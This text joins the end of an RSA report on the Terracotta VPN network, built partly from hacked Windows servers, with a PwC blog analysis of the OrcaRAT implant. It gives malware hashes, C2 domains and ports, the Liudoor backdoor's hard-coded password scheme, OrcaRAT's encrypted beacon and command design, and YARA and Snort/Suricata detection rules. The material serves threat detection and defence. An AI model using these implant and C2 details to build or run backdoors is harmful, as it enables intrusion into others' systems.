server will beacon to the following URLs as the servers authenticate users to the VPN service: 1.8800free.info (currently resolves to IP address in Zhengzhou, Henan Province, PRC) 2.8800free.info (currently resolves to IP address in Hangzhou, Zhejiang Province, PRC) Servers exhibiting this behavior should be examined for compromise. DETECTING NODE USE IN ATTACKS To detect the use of Terracotta VPN nodes in attacks, ingress/egress connections from the host nodes should be noted and investigated. Hits on these nodes would indicate anonymization activity from the Terracotta network. 16 DETECTING USE OF TERRACOTTA VPN RESOURCES To detect users of this service, connections to Client Authentication Domains (Appendix 1) should be monitored. Hits to these domains would indicate an end-user using the downloadable VPN client to select VPN nodes for use. Additionally, hits to Client Marketing Domains (Appendix 1) may indicate an end-user shopping for access to the VPN service. DETECTING TERRACOTTA ASSOCIATED MALWARE RSA Research has associated several notable malware samples with the Terracotta eco-system. These binaries have been used to provide backdoor/RAT services on compromised servers. RSA Research has observed that this malware is commonly installed by the actors concurrently with other remote administration tools including Radmin, DameWare, and Windows telnet server. Other lateral reconnaissance and exploitation tools used by the Terracotta actors include various port scanners and password dumpers such as Mimikatz and a Chinese tool called DolphinQ.4 Additionally, many Terracotta nodes had sometimes multiple instances of CCProxy installed to provide additional anonymization services. These CCProxy instances used locally configured credentials, and not central authentication like the VPN services. While this is not a thorough analysis of the malware encountered during this investigation, several samples were directly tied to the initial enlistment of the servers as nodes into the Terracotta VPN ecosystem, as mentioned in the Modus Operandi section. Gh0st RAT MM523 File Size: 21.9 MB MD5: bccbba3ed45ead051f56fc62fef005a6 C2: vpn.mm523.net:10000 (currently sinkholed by RSA Research5) http://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/zegost http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?NameTrojanDropper:Win32/Zegost. Btab2 RSA Research refers to this variant, or build of Gh0st RAT as MM523 based on the C2 domain. Gh0st is a full function Remote Administration Tool (RAT) with keystroke logger, file manager, remote terminal shell, screen control and capture, and many other functions. Pertinent analysis on Gh0st RAT is available6. Since the majority of confirmed Terracotta-compromised systems are running 64-bit Windows Server 2008 R2, this section will detail more findings that are pertinent to that platform, rarely covered by typical sandbox analysis. This particular binary was found on only one system, but appears to be an installer or dropper for the Gh0st malware that was found on multiple Terracotta compromised servers prior to February 2015. This malware is unusually large because it is padded with zeros. The large file size may have been a rudimentary attempt to avoid antivirus or network security systems. To be sure, absent the padding, a binary comparison proves that the sample is identical to the sample submitted to VirusTotal in July 2014 with MD5 of e421d07c316ab6e04fd0bfa122f1d953.7 Gh0st was coded originally for Windows XP. Though the dropper will successfully install on more modern Windows systems, there are unresolved issues with its installation on Windows 7 and Windows Server 2008R2. The dropper scans the Windows registry here: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\Netsvcs It finds the first unused (stopped and disabled) service that runs under service process svchost netsvcs. On typical Terracotta victim servers, this has been the FastUserSwitchingCompatibility service, which is a deprecated service left-over from Windows XP for compatibility. Since FastUserSwitchingCompatibility it is not an actual service that can run on versions later than Windows 4 https://www.virustotal.com/en/file/9b8257000b05116a3631630c44b9f6b18c13e5bc5635c1fa3f20a01f70380909/analysis/ 5 A sinkholed domain is one that was used by its owner specifically for malicious activity and thus subject to lawful seizure. Malware that is sinkholed is redirected to an analysis system controlled by researchers or law enforcement instead of the criminals. The sinkhole is then used for intelligence research and victim notification. 6 http://www.mcafee.com/us/resources/white-papers/foundstone/wp-know-your-digital-enemy.pdf 7 https://www.virustotal.com/en/file/3a2d5ce9f5f953f0499773a05f26317f9f6745352031bb8dafbb6aadf0e8e57b/analysis/ 17 XP, Microsoft has omitted the service description text. So the Gh0st dropper scans to the next description, and artifacts arising from that issue include a misspelled and mismatched description for the hijacked FastUserSwitchingCompatibility which is Windows Sxitcway Firewall/Internet Connection Sharing (ICS). A Google search for the word Sxitcway will reveal other malware that encounters similar platform compatibility problems. The dropper installs its service DLL named with five random letters with the following path in the normally hidden ProgramData directory. Example: C:\ProgramData\Application Data\Storm\update\SESSIONNAME\hbeya.cc3 The Gh0st service DLL binary in this location is approximately 22MB in size, and because the file is generated dynamically, has a unique file hash for each installation. Upon initial execution, the Gh0st RAT dropper is extremely busy, querying for some 75 URLs associated with legitimate antivirus vendors however, no connections are made to these URL for C2. For control, the RAT connects to the IP found with a DNS query to vps.mm523.net on port 10000 using the same connection string as the cb1st variant of Gh0st analyzed by Norman in The Many Faces of Gh0st paper here: http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf RSA Research determined that some 240 systems around the world are infected with this Trojan, including approximately 100 Terracotta VPN nodes. Gh0st RAT GDS520 File Size: 204.5KB MD5: possibly 81c08ae40700d863f5dbd35599192962 and/or ef938cd1594b6b44507c6423cd39d5f5 C2: gds520.com:8086 (Active) Following the neutralization of the MM523 Gh0st RAT communication with the RSA Research seizure of its C2 domain, RSA Research observed malicious services installed by a dropper variant very similar to the MM523 Gh0st variant on newly compromised Terracotta victims. While similar to the Gh0st RAT MM523 build, this build we dub GDS520 has a different service DLL location and C2 URL. The GDS520 sample had been in the wild before the RSA Research sinkholing of mm523.net, based on the date two dropper variants were uploaded to VirusTotal. Similar to Gh0st RAT MM523, these variants are characterized by DNS lookups to multiple antivirus vendor update URLs, in addition to the C2 URL, gds520.com over port TCP port 8086. The Ghost RAT GDS520 service DLL is named with five random letters and is installed in the following location with the example file name: C:\ProgramData\DRM\SESSIONNAME\vxujx.cc3 Notably, the dropper deletes itself after successfully installing the RAT service. This is unlike the Gh0st RAT MM523 variant, which did not delete itself. Finally, the two GDS520 Ghost RAT variants found on VirusTotal were built with file properties to resemble a legitimate Microsoft program (Figure 9), and included a digital certificate as one of the executables resources, which can be displayed in the file properties digital signatures tab (Figure 10). RAT files were appended with a digital signature taken from a legitimate file signed by Kaspersky Lab. Since the signature corresponds to a different file, it appeared as invalid. Any more than cursory review of the dropper executable properties would reveal the invalid signature. These dropper samples used the exact same Kaspersky certificate described in the article Certificate SnatchingZeuS Copies Kasperskys Digital Signature by TrendMicro.8 8 http://blog.trendmicro.com/trendlabs-security-intelligence/certificate-snatching-zeus-copies-kasperskys-digital-signature/ 18 Figure 9. Gds520 Gh0st RAT installer file details Figure 10. Gds520 Gh0st RAT installer with invalid code signing using Kaspersky public certificate On one compromised system investigated in May of 2015, forensic artifacts showed the source IP address of the GDS520 installer (Figure 11). Figure 11. Forensic artifacts left behind on a victim server by the actor downloading the GDS520 Gh0st RAT installer from a Beijing IP address 19 A cache of the page indicated it was from a type of ephemeral file server known as HTTPFileServer (HFS)9. The HFS server cached page showed that the HFS daemon had been up for 4 minutes (Figure 12). Fortunately for the investigation, the ephemeral HFS daemon maintains usage statistics. Out of the 37 files available on the HFS page to the Terracotta actor, the GDS520 Gh0st RAT appeared to be the most commonly downloaded, with 1225 total downloads (Figure 12). 9 http://www.rejetto.com/hfs/ 20 Figure 12. HFS-hosted tool repository from which Terracotta actor downloaded the GDS520 RAT installed on victim server. Note the yellow-highlighted information for s.exe. 21 The HFS daemon was running on an IP address from a range assigned to a middle school in Beijing according to Whois information10. Virus Total11 12 13 14 reveals that hosts in this IP range have been used, extensively in the first half of 2015, to host malicious tools including the GDS520 Gh0st RAT variant and other exploitation tools found on at least three Terracotta victim systems. Also notable in Figure 12 is the third most-often downloaded tool from the actors HFS page, named Win64.exe15. RSA Research found this on one Terracotta victim server, and determined this to be a variant of the Windows privilege escalation exploit tool as described by Crowdstrike in a blog post on Hurricane Panda16. RSA Research does not know if the Beijing IP address range was leveraged exclusively by Terracotta operators. Mitozhan Trojan File Size: 87 KB MD5: 7b18614df95e71032909beb25a7b1e87 C2: vps.mm523.net:81 (sinkholed) This malware copies itself to the Windows directory (C:\Windows) and gives itself a new random name. Every time the malware runs, the executable name will vary but the file name length remains the same 6 characters. Example: C:\WINDOWS\fatjse.exe The Image Path of the newly-copied file is then used to add a new service to the ControlSet Registry Key. This will ensure persistence on the infected machine. The name of the new service (GHIJKL NOPQRSTU WXY) might be suspicious to administrators. Example: RegKey Name: MACHINE\SYSTEM\CONTROLSET001\SERVICES\GHIJKL NOPQRSTU WXY RegKey Data: C:\WINDOWS\fatjse.exes\\0 The malware performs a DNS request to vps.xxxxx.net for resolution of its controller. The infected machine connects to the controller over TCP port 81 with the following initial connection string (Figure 13). Figure 13. Mitozhan C2 connection string Two strings of interest are revealed upon examination of the process in memory. cccccc.exe GET s HTTP/1.1Content-Type: text/htmlHost: sAccept: text/html, /User-Agent:Mozilla/4.0 (compatible MSIE d.00 Windows NT d.0 MyIE 3.01) Search engine results for the last part of the UA string MyIE 3.01 show the exact UA string mentioned in a blog post by FireEye in 201017. The FireEye blog references another blog by researchers from Arbor Networks18. The latter blog describes in more 10 https://whois.domaintools.com/211.153.xx.x 11 https://www.virustotal.com/en/ip-address/211.153.xx.x/information/ 12 https://www.virustotal.com/en/ip-address/211.153.xx.x/information/ 13 https://www.virustotal.com/en/ip-address/211.153.xx.x/information/ 14 https://www.virustotal.com/en/ip-address/211.153.xx.2xx/information/ 15 https://www.virustotal.com/en/file/d7bd289e6cee228eb46a1be1fcdc3a2bd5251bc1eafb59f8111756777d8f373d/analysis/1429772817/ 16 http://blog.crowdstrike.com/crowdstrike-discovers-use-64-bit-zero-day-privilege-escalation-exploit-cve-2014-4113-hurricane-panda/ 17 https://www.fireeye.com/blog/threat-research/2010/10/avzhan-botnet-the-story-of-evolution.html 18 http://www.arbornetworks.com/asert/2010/09/another-family-of-ddos-bots-avzhan 22 depth the malware behavior, which shares several elements with the sample under investigation, including the use of a raw TCP connection to the server, the UA string in memory, and the pattern to generate the executable name. The legitimate properties and text depicted in the file appear to obscure the actual malicious intent. The file is named after a very popular photo markup program in China called 19 or Mito Xiu Xiu (Figure 14). Figure 14. Mitozhan file properties shares name and description with popular benign program RSA Research determined that approximately 180 systems were infected with this Trojan, approximately one third of which were active in the Terracotta VPN node ecosystem. Backdoor Liudoor File Size: 87 KB MD5: 531d30c8ee27d62e6fbe855299d0e7de20 C2: 0.0.0.0:3433 This is a simple backdoor similar to the common Portless Backdoor21 found running as a service on at least five Terracotta VPN victim servers, that RSA Research has dubbed Liudoor. It was installed as Windows\SysWOW64\rasauto.dll running as what would be the unused RasAuto service on victim Windows Server 2008 R2 systems. While RSA Research did not find the dropper for this backdoor, it could have just as easily been installed with a batch script. This sample binds to TCP port 3433 and waits for an incoming request, probably from a dedicated client used by its operator. It will send the 4 bytes pass, it expects to receive the binary string E10ADC3949BA59ABBE56E057F20F883E (shown here in ASCII text). This is the MD5 hash of the ASCII string 123456. The backdoor process will compare what is passed from the client to that hard coded value, and if successful it will send back succ, if not it will sent back fail. Once the sample has successfully authenticated it will create a thread and pipe data back and forth to the Windows command shell process, cmd.exe. It takes the input and parses the string sent to the sample for 0x0D (the obfuscation XOR key) or carriage return...and then passes everything before that to cmd.exe. The shell can be halted with the exit command. Other hard coded binary options include a certain value that will run the console program nbstat.exe for NetBIOS network information, which might be useful to its operator for lateral exploitation of other Windows computers on the victim network. RSA Research found similar Backdoor Liudoor files on VirusTotal with the following characteristics: 78b56bc3edbee3a425c96738760ee40622 listens on port 3340 5aa0510f6f1b0e48f0303b9a4bfc641e23 listens on port 3433 2be2ac65fd97ccc97027184f0310f2f324 listens on port 1234 On more recently discovered Terracotta victims, Liudoor was observed to listen on TCP port 64111 or 33911. 19 http://xiuxiu.web.meitu.com 20 https://www.virustotal.com/en/file/ad1a507709c75fe93708ce9ca1227c5fefa812997ed9104ff9adfec62a3ec2bb/analysis/ 21 http://www.symantec.com/security_response/writeup.jsp?docid2003-122516-0717-99tabid2 22 https://www.virustotal.com/en/file/deed6e2a31349253143d4069613905e1dfc3ad4589f6987388de13e33ac187fc/analysis/ 23 https://www.virustotal.com/en/file/4575e7fc8f156d1d499aab5064a4832953cd43795574b4c7b9165cdc92993ce5/analysis/ 24 https://www.virustotal.com/en/file/e42b8385e1aecd89a94a740a2c7cd5ef157b091fabd52cd6f86e47534ca2863e/analysis/ 23 DETECTING TERRACOTTA ACTIVITY IN RSA SECURITY ANALYTICS AND RSA ECAT Organizations with robust and consistently applied security controls on Internet-facing infrastructure should face little risk that their servers would be enlisted as VPN nodes by Terracotta actors. Two Fortune 500 companies that were identified as victims were exceptions as the comprehensive application of security controls fell short. More threatening to otherwise well-defended organizations is the threat of advanced threat actors originating from legitimate, but compromised, organizations. Any network connection with a Terracotta VPN node should be treated with great suspicion and investigated immediately. Built into RSA Security Analytics is the automatic threat intelligence aggregation and delivery system known as RSA Live. Updated Terracotta node IP addresses are provided in RSA Live as part of the suspect VPN node feed, and available upon request. In Figure 15, RSA Security Analytics has alerted on the Derusbi server handshake parser from RSA Live. It also has alerted on the source of the malicious Derusbi Command and Control (C2) which is a Terracotta node, described as a criminal VPN service exit node by Security Analytics. Figure 15. RSA Security Analytics detects advanced threat control of Derusbi server backdoor originating from Terracotta VPN Node 24 In Figure 16, a redacted screenshot from RSA Security Analytics shows an alert on a suspicious login to an otherwise secure website from a Terracotta VPN node. Any authentication from Terracotta to an organizations secure websites should be treated as hostile and investigated accordingly. Figure 16. RSA Security Analytics detection of secure website login (redacted) from Terracotta VPN 25 DETECTING TERRACOTTA MALWARE USING RSA SECURITY ANALYTICS AND ECAT An ounce of prevention is worth a pound of cure. Certainly this idiom from Ben Franklin applies to efforts to defend against this class of threats (not particularly sophisticated, opportunistic, but potentially very costly). RSA Research assesses that had the Windows firewall been turned on, and the default Administrator account been renamed in each of the victim systems examined, the systems would not have been compromised with the methods employed by Terracotta. Still, in both large and small organizations, a dichotomy may manifest between a Security 101 policy and application of that policy, especially in development and cloud environments. Note: This is not intended to be a cyber-hunters cookbook for finding Terracotta activity with RSA Security Analytics and ECAT, but rather to offer takeaways on the indicators quickly identified by these tools. The out of the box Gh0st protocol parser from RSA Live detects the cb1st Gh0st protocol string used by both the GDS520 and MM523Gh0st RAT variants, highlighted in red in Figure 17. Security Analytics shows an actual victim system in Iran that was infected with the now-neutralized MM523 Gh0st RAT variant calling-back to a RSA Research sinkhole. Figure 17. Gh0st protocol employed by MM523 Gh0st RAT detected by RSA Security Analytics 26 RSA ECAT will readily detect both Gh0st RAT variants employed by the Terracotta actors. In Figure 18, RSA ECAT has raised the Threat Level scores from low single-digit numbers to well above 100 when the GDS520 Gh0st RAT was installed. Figure 18. Raised threat level scores indicate malware infection on server and workstation Double clicking on the workstation in the RSA ECAT console will bring up details about the system, where an analyst can drill- down into the network connections, and responsible processes. In Figure 19, a Security Operations Center (SOC) analyst would be alerted by (illustrated in red boxes) the high score, the Suspicious Threads, and then hone in on the Gh0st C2 connections identified by RSA ECAT. Figure 19. Suspicious network connections to the Gh0st C2 Domain as seen in RSA ECAT console 27 Figure 20. RSA ECAT uses IIOCs to identify floating code employed by Gh0st RAT malware In our Gh0st RAT malware scenario, the SOC analyst would be able to identify the infections of a server and workstation in RSA Security Analytics. The red boxes in Figure 20 illustrate Gh0st RAT protocol detection and botnet threat categorization by RSA Security Analytics. An analyst also might notice the unusual communications port. 28 Figure 21. RSA Security Analytics alerts on system infected with Gh0st RAT as it calls back to C2 IP address on port 8086 29 While the particular variant of the Mitozhan Trojan described in this papers malware analysis section has been neutralized by RSA Research with the seizure of its C2 domain it is likely that other variants with different C2 domains persist. RSA developed a Lua parser to detect Mitozhan Command and Control (C2) activity, now available through RSA Live and included as an appendix. Figure 22 is a redacted screenshot showing the Mitozhan Lua parser in action as it alerts on Mitozhan C2 activity on a RSA Research sinkhole. Figure 22. LUA Parser used to detect the Mitozhan C2 Activity in RSA Security Analytics 30 Mitozhan Trojan is also readily detected upon initial scan with RSA ECAT. Figure 23 shows the initial RSA ECAT console display for the infected system, with initial indicators marked in red boxes. Figure 23. RSA ECAT console shows infection with Mitozhan. Note the high threat score, file name with random letters, and the unsigned executable with Chinese name While RSA ECAT can detect a never-before-seen malware infection out-of-the-box without signatures, a well-prepared SOC will have signatures to help identify the threats behind the malware. That is where the built-in Yara features of RSA ECAT really shine. Yara is an open source tool that helps threat intelligence analysts and malware researchers classify and identify malware with granularity that no antivirus product can match. Using the Yara signature included in the Appendix, our example SOC analyst homes in on a suspicious rasauto.dll process identified by RSA ECAT as unsigned in Figure 24. By right-clicking on the suspicious process, the analyst can initiate a Yara scan using pre-configured rules Figure 24. ECATs YARA integration allows the SOC analyst or incident responder to quickly identify malware that may be associated with a specific threat 31 In this scenario, the SOC analyst has used ECAT to scan the suspicious process. As illustrated with the red box on the right of Figure 25, the Yara result is a confirmed infection with Liudoor. The Liudoor YARA signature is included in the Appendix Figure 25. RSA ECAT indicates the YARA scan results. Backdoor Liudoor found For more technical details on how RSA ECAT can be used to proactively detect malware not discovered by traditional methods including antivirus, refer to the whitepaper RSA Incident Response: An APT Case Study. https://blogs.rsa.com/wp-content/uploads/2015/05/RSA-IR-Case-Study.pdf Terracotta Indicators for Security Analytics have been loaded into the following feeds in RSA Live: RSA Firstwatch APT Threat Domains RSA Firstwatch Command and Control Domains RSA Firstwatch Criminal VPN Exit IPs RSA Firstwatch Insider Threat Domains 32 PREVENTION Terracotta VPN operators are not using sophisticated methods to harvest their VPN nodes from vulnerable organizations around the world. RSA Research assesses that any one of the following hardening steps would have prevented each of the confirmed victim compromises: 1 Block port 135 on external router and/or firewall a. There is no known business-use for having port 135 exposed to the Internet b. Recommend: hardware firewall configured with allow inbound by exception policy 2 Rename Administrator account on all Windows systems to a unique alphanumeric name 3 Use a strong (bi-case letters, numbers plus multiple special characters) 15 character password that does not use keyboard patterns a. Keyboard patterns are found in nearly all password cracking dictionaries b. Recommend: regularly change passwords In contrast to the simple security controls that can prevent enlistment of an enterprises Windows servers into the Terracotta VPN node ecosystem, detecting advanced threat actors who are using Terracotta VPN nodes to hide their origin is more complicated. Infallible prevention may not be possible, and therefore detection is key. Use non-signature-based network analysis and end-point analysis capabilities such as provided by RSA Security Analytics and RSA ECAT to proactively detect and thwart compromise of your organizations network, before your most valuable asset---your information is compromised. ATTRIBUTION AND PATTERN OF LIFE Terracotta is a PRC-based operation that uses opportunistic, large-scale exploitation methods to obtain and augment a global, highly-marketable VPN service. RSA Research has no evidence suggesting that advanced threat actors such as Shell_Crew, or other suspected nation-state sponsored threat actor group is involved in any of the Terracotta exploitation activities. The attractiveness of the Terracotta ecosystem to advanced threat actors may be strictly utilitarian: a very low-cost platform for attacks that serves to ultimately reduce the probability of detection. All compromised systems investigated by RSA Research were enlisted by actors originating primarily from IP ranges in Dongguan and other areas of the Guangzhou megalopolis, or from the city of Wuhan. The Terracotta exploitation activity from Dongguan took place primarily during weekends and hours outside of the normal mainland PRC workday using the following Windows hostname: WEI-270FBC26C38 Forensic images reveal this hostname was consistently used in initial victim compromise from late 2013 through June 2015. Exploitation activity originating from Wuhan took place during normal PRC work week days and hours. The following hostname was used: QT-201312081446 In Terracotta system compromises investigated in 2015, there appeared to be coordination between the actor(s) originating from Dongguan IP addresses, and the actor(s) originating from Wuhan IP addresses. In six out of seven systems examined, the initial VPN test connection on a newly compromised server originated from Windows hostname WEI-270FBC26C38 with Dongguan IP address, which was shortly followed by a VPN test connection using the Windows hostname QT-201312081446 from a Wuhan IP address. Only after the successful connection from Wuhan was completed, did the node appear to be added to the Terracotta node list displayed by Terracotta brand software clients. 33 CONCLUSIONS The Terracotta VPN system is marked by a grey-market anonymization ecosystem that is constructed, at least partially, of hacked servers. The Terracotta node ecosystem appears to enable better anonymity for advanced threat actors than would otherwise be allowed by a more conventional VPN service with a legitimate and transparent node infrastructure. APPENDIX Malware Sample Hashes Malware Domains Yara Signatures C2 Lua Parsers Terracotta User Account Authentication URLs AVAILABLE TO INDUSTRY PARTNERS UPON REQUEST Terracotta VPN Client Marketing Website Domains Terracotta Software Client Authentication Domains Current Terracotta Node List Email conopsrsa.com for more information. AUTHORS Kent Backman, Primary Research Alex Cox, Contributing Steven Sipes, Contributing Ahmed Sonbol, Contributing RSA Incident Response Team, Contributing RSA Labs, Contributing The authors would like to thank a number of colleagues from RSA and industry for their advice and assistance on this project. OrcaRAT - A whale of a tale By Dan Kelly and Tom Lancaster Its every malware analysts dream to be handed a sample which is, so far, unnamed by the AV community - especially when the malware in question may have links to a well-known APT group. In my line of work I analyse several unknown malware samples a week, but often it turns out that they are simply new variants of existing malware families. Recently I was fortunate enough to be handed something that not only had a low detection rate but, aside from heuristics, seemed to be relatively unknown to the top 40 anti-virus companies. In this post I will walk you through the malware family weve dubbed OrcaRAT. First of all, it is worth pointing out that most of the malware I see on a day-to-day basis is espionage orientated, and very rarely do the programmers and operators make much effort to cover their tracks. The use of forged HTTP headers is a common occurrence and simple mistakes within these headers are frequent. The malware in question was handed to me by one of our threat intelligence analysts who was hunting through infrastructure associated with some samples of Comfoo[1] malware and happened across a malware sample (253a704acd7952677c70e0c2d787791b8359efe2c92a5e77acea028393a85613) he didnt recognise. He immediately took the malware and passed it through first stage analysis, which involves running the file in a sandbox environment. After this, he handed it over for more in-depth capability analysis. The structure I began by looking over the sandbox report. The first thing that drew my attention was the URI structure. ( A screenshot showing the HTTP headers and URI structure that OrcaRAT produces) http://pwc.blogs.com/.a/6a00d83451623c69e201bb079a440d970d-pi To those of us who are familiar with decoding data, you will notice that the URI string formatting appears to be a modified version of the Base64 algorithm. To understand this structure more, we must reverse engineer the functions that generate and then encode the data. Firstly we begin by analysing the routines that produce the data which is later encoded and sent in the HTTP URI field. The very first thing that jumped out when disassembling the malware is the simplicity and cleanliness of the code. There are also a significant number of Windows Crypto API[2] functions imported by the malware, so we can assume this indicates that it uses encryption. ( A screenshot showing the functions that are imported by OrcaRAT) Delving deeper in to the disassembly, we come across the preamble to the URI generation function: http://pwc.blogs.com/.a/6a00d83451623c69e201bb079a4423970d-pi (A screenshot showing the decoding and generation of a string value) The function above uses Windows crypto API to generate a random number of 6 bytes, then dynamically builds and appends the word OrcaKiller on to the end of this number. In one such example the final product was \x61\xBA\xF4\x44\x52\xF1OrcaKiller (where \x denotes hexadecimal values). Once this value has been produced, the malware begins constructing the URI. With many pieces of malware the initial communications that it sends out to its command and control server (known as beaconing or phoning home) usually include pieces of information about the victim system. OrcaRAT is no exception. The randomly generated values noted above are actually used to encrypt several pieces of information that are extracted from the system, and even the key itself is included. http://pwc.blogs.com/.a/6a00d83451623c69e201bb079a4438970d-pi (A screenshot showing an encryption function used by OrcaRAT) All of the values extracted from the system are encrypted using the RC4[3] algorithm and then base64 encoded. The RC4 encryption key is derived from an MD5 hash[4] of the randomly generated bytes concatenated with the OrcaKiller string. Once the data has been encrypted it is base64 encoded. Any forward slashes in the base64 string are replaced with a tilde - pseudo code is shown below. Once all of the values have been encrypted and formatted the URI has the following structure: (A screenshot showing the URI structure of OrcaRAT command and control activity) http://pwc.blogs.com/.a/6a00d83451623c69e201b8d07f229e970c-pi http://pwc.blogs.com/.a/6a00d83451623c69e201bb079a4466970d-pi http://pwc.blogs.com/.a/6a00d83451623c69e201bb079a4497970d-pi The campaign ID value is constructed using a method similar to that for the encryption key. ( A screenshot showing the generation of the first hidden string value) It would appear that the authors did not want anybody to be able to easily see this value. This now gives us OrcaKiller and wHaLe. It would appear that our adversary has a salty sense of humour. Command and control As with all malware, the command and control functions reveal the true nature and intent of the operators. Up until now we have only determined how the malware communicates with the server. We will now investigate the mechanisms that the server uses to communicate and interact with the victim. The command and control routine in OrcaRAT appears to serve two purposes. Interestingly these routines are split in to two branches. Each branch of command and control activity is determined by the unique response from the remote server. Command and control takes form of a webpage. Unlike malware designed by the well-known Comment Crew[5], this group does not hide these commands in HTML comments, but instead places them in plain view. The first set of commands force the malware to behave as a simple downloader. http://pwc.blogs.com/.a/6a00d83451623c69e201b8d07f230d970c-pi (A screenshot showing OrcaRAT parsing the HTML code behind a webpage) Upon downloading the webpage from the server the malware looks for specific sets of HTML tags. The first set are P and the terminating tag /P. Once the malware has found these tags it drops in to the first command and control function. The malware then extracts the payload text between the HTML tags and runs it through a decryption routine. The same encryption key that is sent in the URI string is used to decrypt the text. Once the payload text has been decrypted the malware treats this as a binary executable file, which is then written to the disk and executed. The second set of HTML tags allows the operator to drop the malware in to a set of remote control functions. This time the malware searches for the H1 tag that is terminated by /H1. Once the payload text between these tags has been extracted it is then decrypted using the encryption key found in the URI string. The payload text from this page is much smaller and ultimately points to the command function that the operator has executed. http://pwc.blogs.com/.a/6a00d83451623c69e201bb079a44cf970d-pi (A screenshot showing the structure of the command and control routines within OrcaRAT) The command and control structure is fairly simplistic but provides the operator with access to the victim machines filesystem and command line, and as such allows the attacker to perform various tasks such as executing arbitrary commands or uploading and downloading files from the compromised system. After a command and control message is received, OrcaRAT sends an HTTP POST message back to the command and control server. Each time that the URI is built it generates a new encryption key, showing that the command and control server is at least serving dynamic content. Given the command structure above, it is logical to assume that the command and control server requires an operator to manually issue specific commands to the victim workstation, with the default command likely being sleep. Given the information above we can reasonably assume that this malware was most likely designed as a first stage implant. History has shown that malware designed in this way is usually done so to allow the operator an initial level of access to the compromised system, usually for surveying the victim and then deciding whether to deploy a more capable and valuable second stage malware implant. Detection Once OrcaRAT has been delivered to a victim system there are a number of ways to detect it. Firstly we will cover disk detection using Yara. The rule below will detect an OrcaRAT binary executable that has been written to a compromised machines disk. rule OrcaRAT meta: author PwC Cyber Threat Operations :: tlansec distribution TLP WHITE sha1 253a704acd7952677c70e0c2d787791b8359efe2c92a5e77acea028393a85613 http://pwc.blogs.com/.a/6a00d83451623c69e201b7c6f524de970b-pi strings: MZMZ apptype1application/x-ms-application apptype2application/x-ms-xbap apptype3application/vnd.ms-xpsdocument apptype4application/xamlxml apptype5application/x-shockwave-flash apptype6image/pjpeg err1Set return time error d err2Set return time success err3Quit success condition: MZ at 0 and filesize 500KB and (all of (apptype) and 1 of (err)) OrcaRAT can also be detected in two separate ways at the network level using a Snort or Suricata IDS rule. Detecting malware at different stages of connectivity can be important. By creating signatures with a nexus to the kill chain[6] we can determine which stage the intrusion has reached. The two signatures below will indicate whether the intrusion has reached the command and control or action-on phases. Snort: alert tcp any any - any any (msg:::[PwC CTD]:: - OrcaRAT implant check-in flow:established,from_client urilen: 67170 content:User-Agent: Mozilla/4.0 (compatible\ MSIE 8.0\ Windows NT 5.1\ Trident/4.0\ .NET CLR 2.0.50727\ .NET CLR 3.0.04506.30\ .NET4.0C\ .NET4.0E) http_header content:GET http_method pcre:/\/[A-Za-z0-9] 14,18\/[A-Za-z0-9]33,38\/[A-Za-z0-9]6,9\/[A-Za-z0-9]5,50\/[A-Za-z0- 9]5,50/U sid:YOUR_SID rev:1) alert tcp any any - any any (msg:::[PwC CTD]:: - OrcaRAT implant C2 confirmation response flow:established,from_client urilen: 67170 content:User-Agent: Mozilla/4.0 (compatible\ MSIE 8.0\ Windows NT 5.1\ Trident/4.0\ .NET CLR 2.0.50727\ .NET CLR 3.0.04506.30\ .NET4.0C\ .NET4.0E) http_header content:POST http_method pcre:/\/[A-Za-z0-9] 14,18\/[A-Za-z0-9]33,38\/[A-Za-z0-9]6,9\/[A-Za-z0-9]5,50\/[A-Za-z0- 9]5,50/U sid:YOUR_SID rev:1) Suricata: alert http any any - any any (msg:::[PwC CTD]:: - OrcaRAT implant check-in flow:established,from_client urilen: 67170 content: Mozilla/4.0 (compatible\ MSIE 8.0\ Windows NT 5.1\ Trident/4.0\ .NET CLR 2.0.50727\ .NET CLR 3.0.04506.30\ .NET4.0C\ .NET4.0E) http_user_agent content:GET http_method pcre:/\/[A-Za-z0-9] 14,18\/[A-Za-z0-9]33,38\/[A-Za-z0-9]6,9\/[A-Za-z0-9]5,50\/[A-Za-z0- 9]5,50/U sid:YOUR_SID rev:1) alert http any any - any any (msg:::[PwC CTD]:: - OrcaRAT implant C2 confirmation response flow:established,from_client urilen: 67170 content: Mozilla/4.0 (compatible\ MSIE 8.0\ Windows NT 5.1\ Trident/4.0\ .NET CLR 2.0.50727\ .NET CLR 3.0.04506.30\ .NET4.0C\ .NET4.0E) http_user_agent content:POST http_method pcre:/\/[A-Za-z0-9] 14,18\/[A-Za-z0-9]33,38\/[A-Za-z0-9]6,9\/[A-Za-z0-9]5,50\/[A-Za-z0- 9]5,50/U sid:YOUR_SID rev:1) Appendix A: Samples of Orca RAT: Hash C2 07b40312047f204a2c1fbd94fba6f53b adda.lengendport.com f6456b115e325b612e0d144c8090720f tsl.gettrials.com 139b8e1b665bb9237ec51ec4bef22f58 auty.organiccrap.com Appendix B: Related indicators Indicator Type 11.38.64.251 IP Address 123.120.115.77 IP Address 123.120.99.228 IP Address 142.0.134.20 IP Address 147.96.68.184 IP Address 176.31.24.182 IP Address 176.31.24.184 IP Address 190.114.241.170 IP Address 200.78.201.24 IP Address 202.124.151.94 IP Address 202.2.108.142 IP Address 203.146.251.11 IP Address 204.152.209.74 IP Address 213.147.54.170 IP Address 23.19.39.19 IP Address 58.71.158.21 IP Address 62.73.174.134 IP Address 71.183.67.163 IP Address 74.116.128.15 IP Address 81.218.149.207 IP Address 84c68f2d2dd569c4620dabcecd477e69 Hash 8fbc8c7d62a41b6513603c4051a3ee7b Hash 91.198.50.31 IP Address adda.lengendport.com Domain affisensors.com Domain analysis.ittecbbs.com Domain at.acmetoy.com Domain aucy.affisensors.com Domain auty.organiccrap.com Domain bbs.dynssl.com Domain bbs.serveuser.com Domain bbslab.acmetoy.com Domain bbslab.lflink.com Domain cdna.acmetoy.com Domain cune.lengendport.com Domain cure.yourtrap.com Domain dasheng.lonidc.com Domain dns.affisensors.com Domain edu.authorizeddns.org Domain edu.onmypc.org Domain fee0e6b8157099ad09380a94b7cbbea4 Hash ftp.bbs.dynssl.com Domain ftp.bbs.serveuser.com Domain ftp.bbslab.acmetoy.com Domain ftp.edu.authorizeddns.org Domain ftp.edu.onmypc.org Domain ftp.lucy.justdied.com Domain ftp.nuac.jkub.com Domain ftp.osk.lflink.com Domain ftp.reg.dsmtp.com Domain 